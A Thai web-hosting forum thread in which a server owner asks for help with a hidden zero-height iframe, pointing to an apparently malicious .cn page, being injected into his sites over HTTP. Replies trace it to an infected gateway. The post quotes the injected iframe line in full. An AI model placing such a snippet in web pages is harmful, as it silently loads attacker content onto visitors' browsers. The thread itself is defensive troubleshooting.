ไม่รู้โดนอะไรเข้าไปช่วยดูหน่อยครับ

Technical topics
1

เวลาเข้าเว็บที่อยู่ในเครื่อง จะโดนใส่

<iframe src=http://dsajk2.cn/jj4.htm width=20 height=0 frameborder=0></iframe>
2

เป็นที่ gateway หรือเปล่าครับ gateway อาจจะติดไวรัส

3

ครับถ้าแบบนี้ ในเครื่องเราสามารถป้องกันอะไรได้บ้างหรือเปล่าครับ ที่จะไม่ให้เว็บในเครื่องโดนใส่ โค๊ดอย่างว่าเวลาเข้าเว็บหน่ะครับ

4

ในเครื่องมีเว็บไหนใช้ CMS ยี่ห้อยอดนิยมไหมคะ
อาจจะโดนจากช่องโหว่ของ CMS ได้

5

เครื่องอื่นที่ IP คลาสเดียวกันก็โดนนะครับ และผมก็ลอง test กับเว็บที่เป็น html ล้วนๆ ก็ยังเข้ามาแซกได้หน่ะครับ
เป็นมาสองวันได้แล้ว เป็นๆหายๆ ลูกค้าเริ่มบ่นกันแล้ว ท่านใดมีแนวทางมั่งครับ

อีกอย่างลองเข้าผ่าน https:// มันจะไม่มีเข้ามาแทรกครับ แต่ถ้าเข้า http:// เป็นโดน
ตอนนี้มึนไปหมดแล้ว

6

งั้นแจ้งผู้ให้บริการ co-location ได้เลยครับ

7

ใช้ CentOS5 หรือ Windows หรือตัวอื่นครับ

ตอนนี้โดนกันเยอะครับ

8

ใช้ proxy ป่ะครับ
ถ้าใช้ ลองตรวจสอบเครื่องที่เป็น Proxy ดู
หรือตรวจสอบเครื่องที่เป็น gateway

9

เช็คที่ไฟล์ index หรือไฟล์เกี่ยวข้องที่มีการ include เข้ามาและลบออกครับ

หรือโหลด ไฟล์ ทั้งหมดลงมาบนเครื่อง
ใช้โปรแกรมอย่าง editplus เปิดไฟล์ ทั้งหมด ที่เป็นสคิบ
replace and

10

ครับตอนนี้ผู้ให้บริการทราบเรื่องแล้ว แต่อยากหาวิธีป้องกันตัวเองด้วยอีกแรงหน่ะครับ
หรือว่าไม่สามารถทำอะไรได้นอกจากรอ ทางผู้ให้บริการอย่างเดียว
ขอบคุณครับ

11

[quote author=mean link=topic=11694.msg113593#msg113593 date=1212582219]
เช็คที่ไฟล์ index หรือไฟล์เกี่ยวข้องที่มีการ include เข้ามาและลบออกครับ

หรือโหลด ไฟล์ ทั้งหมดลงมาบนเครื่อง
ใช้โปรแกรมอย่าง editplus เปิดไฟล์ ทั้งหมด ที่เป็นสคิบ
replace and

12

ถ้าเป็นกับ gateway หรือ proxy server ต้องรอผู้ให้บริการครับ แต่หากเกิดจาก serv ตัวเอง รอคำแนะนำเซีญนอื่นๆครับผม

13

มันไม่น่าจะแทรกเข้าไปข้างในครับ แค่เหมือนมี iframe มาบังหน้าเฉยๆ

14

อยากรู้เหมือนกัน ^_^! มันน่าจะฝังอะไรไว้ที่ web server

ไฟล์ไม่ได้โดนแก้ แต่แสดงผลมาอีกแบบ

15

ช่วยโพสต์ให้ถูกห้องด้วยนะครับ
[ย้ายไป technical]

16

ขออภัยครับ

17

รอการค้นพบ _!

18

อาการแบบนี้ผมเคยเจอครับ ตอนยังเป็นผู้ใช้บริการอยู่ เจ้าของโฮสต์เขาก็แจ้งมาว่า gateway ติดไวรัสครับ ไม่ได้เป็นที่เครื่อง server เขา ถ้าไม่เป็นที่ผู้ให้บริการโคโล ก็ต้องเป็นที่ isp ละครับ

19

ว้างี้เราเองคงทำไรไม่ได้ นอกจากรอทาง ผู้ให้บริการ colo รอมาสองวันแล้วแย่เลย

ขอบคุณสำหรับทุก คำแนะนำครับ

ขอบคุณครับ

20

รู้ผลแล้วครับ เป็นที่ gateway หรือทางผ่านอื่น ๆ นะครับ ไม่ได้เป็นที่เครื่อง server